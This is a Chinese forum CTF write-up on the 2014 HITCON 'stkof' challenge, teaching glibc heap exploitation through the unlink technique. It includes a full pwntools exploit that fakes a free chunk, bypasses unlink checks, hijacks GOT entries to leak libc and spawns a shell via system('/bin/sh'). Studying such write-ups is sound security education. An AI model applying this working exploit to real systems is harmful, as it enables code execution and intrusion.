查看: 791|回复: 0

[Pwn] Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

[复制链接]
发表于 2020-11-25 11:55:21 | 显示全部楼层 |阅读模式

相关题目:

2014_hitcon_stkof步骤一:运行查看
  • 没有菜单,还是反编译分析吧。

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
步骤二:查看文件类型和保护机制
  • 64位程序
  • 开启了Canary和NX,RELRO为Partial RELRO,关闭了PIE。
1
2
3
4
5
[email protected]:2014_hitcon_stkof$ file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/23_11-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
[email protected]:2014_hitcon_stkof$ checksec --file=stkof
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols      No    0        3        stkof

步骤三:IDA反编译分析
  • main函数

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
  • create函数:由于在把malloc返回指针放入数组前,会将index先自增1,所以,第1个chunk的index为1。

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

验证第1个chunk的index为1

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
  • fill函数

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
  • delete函数

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
  • show函数

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
  • 全局数组globals地址为:0x602140。

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

思路:
  • RELRO为Partial RELRO,那么可以改写got表;
  • 没有system等后门函数,所以得想办法先泄漏libc,然后调用libc里的system函数;
  • 要泄漏?那么我们看看打印和输入的地方有哪些:
    • 打印:show函数没有打印堆里的内容,没法leak,所以我们得想办法leak。
    • 输入:有一个fill函数,可以往bss段里globals数组中那些指针所指向的地方写。
  • 而fill函数中存在堆溢出,可以利用unlink漏洞修改globals数组!程序里有puts函数,所以我们可以把puts函数plt地址放到另一个函数的got表项里,这样,调用这个函数的时候就会去调用puts函数。至于这个函数选哪个,因为puts函数参数是char型指针,所以我们可以选取程序里有的,且参数同样为指针的free/atoi函数。但是如果用atoi函数,那么我们后面就没法用free函数了,因为输入“菜单选项”后就会调用atoi函数,没法继续下去。所以,我们选free函数。
  • 下面两图是把[email protected]放入free函数的got表项里。那么这时候调用free(globals[2])的话,就等价于puts([email protected]),会调用puts函数把[email protected]的内容打印出来。
  • 得到puts函数真实地址后,就可以计算libc基址及system函数地址了,最后把system地址通过fill函数写入[email protected],把“/bin/sh”当作“菜单选项”输入,就会调用atoi函数,也就是调用system("/bin/sh")以getshell!

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
通过unlink漏洞把这三个函数got表项地址写入globals数组中。

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
通过fill函数,往globals[0]指向的地址里写入数据,即往[email protected]里写入[email protected]
  • 思路就是上面所说的。那么现在还有个问题。怎么利用unlink修改globals数组?
  • 我们先来回顾一下unlink漏洞

    • unlink: 当前释放的chunk与前一个或者后一个空闲chunk进行合并时,会先把空闲chunk从bin中移除,移除过程使用unlink宏来实现。
    • unlink漏洞:若chunk a存在堆溢出漏洞(data内容可控且无输入长度限制)覆盖到chunk b,在chunk a的data处创建fake free chunk,并更改chunk b的结构中的前两个属性,prev_size和size里的P位标志。

      • P位标志置零使上一个chunk a被认为是free chunk,Free(b)时会触发向后合并。
      • prev_size被改写,向后合并时会找到fake free chunk。
      • fake free chunk中的bk和fd内容覆盖可控,触发unlink过程。
    • unlink安全检查

      • 大小检查:
        • 绕过方法1:可以通过覆盖修改next chunk的prev_size域来绕过
        • 绕过方法2:或者可以在fake chunk后面紧接着再写一个值为fake chunk size的prev_size 来绕过。

      1
      2
      if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
            malloc_printerr ("corrupted size vs. prev_size");

      • 双链表冲突检查:FD->bk == p && BK->fd == p,可以通过元素为malloc函数返回指针的数组来进行绕过。


1
2
3
4
5
6
7
8
9
10
// malloc.c中unlink宏部分源码
FD = P->fd;                                    
BK = P->bk;                                    
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))            
        malloc_printerr (check_action, "corrupted double-linked list", P);   
    else {                                    
        FD->bk = BK;                                 
        BK->fd = FD;
          ......
    }

  • 然后,本题中,我们可以malloc三个chunk,第一个chunk用于申请缓冲区(程序中没有setbuf函数),后面两个才会是连续的chunk,这个在后面调试中看看。我们溢出第2个chunk,在第2个chunk的user data中伪造free chunk,并修改第3个chunk的prev_size和size里的P位。因为要绕过双链表冲突检查,所以我们要把fake free chunk的fd和bk覆盖成存放malloc返回指针的globals数组的地址。
    • 在堆溢出后,进入unlink前,三者相等:globals[index] == malloc(x) == fake chunk == p
    • 根据下面的推导,fake chunk->fd = &globals[2] - 0x18,fake chunk->bk = &globals[2] - 0x10。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
根据FD->bk == p->fd->bk == p 推导公式如下:

fake chunk->fd->bk == fake chunk
=> *(fake chunk->fd + 0x18) == fake chunk
=> *(fake chunk->fd + 0x18) == globals[index]
=> (fake chunk->fd + 0x18) == &globals[index]
=> (fake chunk->fd) == &globals[index] - 0x18
=> *(fake chunk + 0x10) == &globals[index] - 0x18


同理,根据BK->fd == p->bk->fd == p ,推导公式如下:

fake chunk->bk->fd == fake chunk
=> *(fake chunk->bk + 0x10) == fake chunk
=> *(fake chunk->bk + 0x10) == globals[index]
=> fake chunk->bk +0x10 = &globals[index]
=> fake chunk->bk = &globals[index] - 0x10
=> *(fake chunk +0x10) = &globals[index] - 0x10

  • 堆溢出后,相关内存如下图所示:

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
  • unlink过程和结果如下如所示:

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

现在思路已经清晰了,按照思路边调试边写exp就OK啦!
我做题的时候突然想到,修改程序流程的时候,我们一直都是改got表项内容,能不能直接改plt表项呢?也就是能不能直接把要跳转的地址覆盖plt表项?(还是想得少)
不能。因为plt节在内存中是属于只读代码段的,没有写权限。比如这题的free函数:

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
步骤四:调试分析
a. 编写模板和选项函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()

    return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './stkof'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

def dbg():
    gdb.attach(p)
#    pause()

def create(size):
    sl(1)
    sl(size)
    ru('OK\n')

def delete(index):
    sl(3)
    sl(index)

def fill(index, size, content):
    sl(2)
    sl(index)
    sl(size)
    s(content)
    ru('OK\n')

def show(index): # useless
    sl(4)
    sl(index)

#start

# end
p.interactive()

a. 先malloc三个chunk看看,chunk1用于io缓冲区,chunk2和chunk3连续,准备溢出chunk2。
1
2
3
4
5
# trigger to malloc buffer for io function
create(0x100)        # idx 1
create(0x30)         # idx 2
# small chunk size in order to trigger unlink
create(0x80)         # idx 3

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

b. 在chunk2 中伪造free chunk,修改chunk3的prev_size和size。
我这里是把fake free chunk的大小伪造成了0x30,也就是chunk2的user data部分大小,然后再修改chunk3的prev_size为0x30来绕过unlink的第一个大小检查。
而ctfwiki中是伪造成0x20,然后紧接在后面又伪造一个只有prev_size域的chunk。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# a fake chunk at global[2] = global0 + 16 who's size is 0x20
global0 = 0x602140
payload = p64(0)        #prev_size
payload += p64(0x30)    #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(global0 + 16 - 0x18)  #fd
payload += p64(global0 + 16 - 0x10)  #bk
#payload += p64(0x20)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)        #0x30 is the fake chunk size
# make it believe that prev chunk is free
payload += p64(0x90)
fill(2, len(payload), payload)

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

c. unlink,使得golbal[2] = &(global[2]) - 0x18,那么fill(2)就会从&(global[2]) - 0x18这个地址开始写数据,而且没有长度限制。
1
2
3
# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8
delete(3)
p.recvuntil('OK\n')

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

d. 将函数free、puts,atoi的got地址写入globals数组中,然后将[email protected]写入[email protected]中。
1
2
3
4
5
6
# overwrite global[0] = [email protected], global[1][email protected], global[2][email protected]
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
fill(2, len(payload), payload)
# edit [email protected] to [email protected]
payload = p64(elf.plt['puts'])
fill(0, len(payload), payload)

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

e. 泄漏puts函数真实地址,然后计算libc、system函数地址。free(global[1]) == puts([email protected])
1
2
3
4
5
6
7
8
9
10
11
12
#free global[1] to leak puts addr
delete(1)
puts_addr = ru('\nOK\n')
puts_addr = uu64(puts_addr)
leak('puts addr: ' ,puts_addr)
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
leak('libc base: ' , libc_base)
leak('/bin/sh addr: ', binsh_addr)
leak('system addr: ',system_addr)
dbg()

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

f. 利用fill函数修改[email protected]为system地址
1
2
3
payload = p64(system_addr)
fill(2, len(payload), payload)
p.send(p64(binsh_addr))

关掉调试信息,结果如下图所示,需要从第2次输入shell命令才能正确回显结果。

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof

Pwn堆利用学习——Unlink —— 2014_hitcon_stkof
步骤五:构造Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()

    return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

#context.log_level = 'DEBUG'
binary = './stkof'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
libc = ELF('./libc.so.6',checksec=False)

def dbg():
    gdb.attach(p)
#    pause()

def create(size):
    sl(1)
    sl(size)
    ru('OK\n')

def delete(index):
    sl(3)
    sl(index)

def fill(index, size, content):
    sl(2)
    sl(index)
    sl(size)
    s(content)
    ru('OK\n')

def show(index): # useless
    sl(4)
    sl(index)

#start

# trigger to malloc buffer for io function
create(0x100)        # idx 1
create(0x30)         # idx 2
# small chunk size in order to trigger unlink
create(0x80)         # idx 3
#dbg()

# a fake chunk at global[2] = global0 + 16 who's size is 0x20
global0 = 0x602140
payload = p64(0)        #prev_size
payload += p64(0x30)    #size --> except the first line, the rest two line is equal to 0x20?
payload += p64(global0 + 16 - 0x18)  #fd
payload += p64(global0 + 16 - 0x10)  #bk
#payload += p64(0x20)  # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')


# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)        #0x30 is the front one whole size?
# make it believe that prev chunk is free
payload += p64(0x90)
fill(2, len(payload), payload)
#dbg()
# unlink fake chunk, so global[2] =&(global[2]) - 0x18 = global0 - 8
delete(3)
p.recvuntil('OK\n')
#dbg()
# overwrite global[0] = [email protected], global[1][email protected], global[2][email protected]
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
fill(2, len(payload), payload)
# edit [email protected] to [email protected]
payload = p64(elf.plt['puts'])
fill(0, len(payload), payload)
#dbg()
#free global[1] to leak puts addr
delete(1)
puts_addr = ru('\nOK\n')
puts_addr = uu64(puts_addr)
leak('puts addr: ' ,puts_addr)
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
leak('libc base: ' , libc_base)
leak('/bin/sh addr: ', binsh_addr)
leak('system addr: ',system_addr)
#dbg()
# modify [email protected] to system addr
payload = p64(system_addr)
fill(2, len(payload), payload)
p.send(p64(binsh_addr))
# end
p.interactive()

参考文献
游客,如果您要查看本帖隐藏内容请回复
游客,如果您要查看本帖隐藏内容请回复

温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信扫一扫即可使用手机论坛
快速回复 返回顶部 返回列表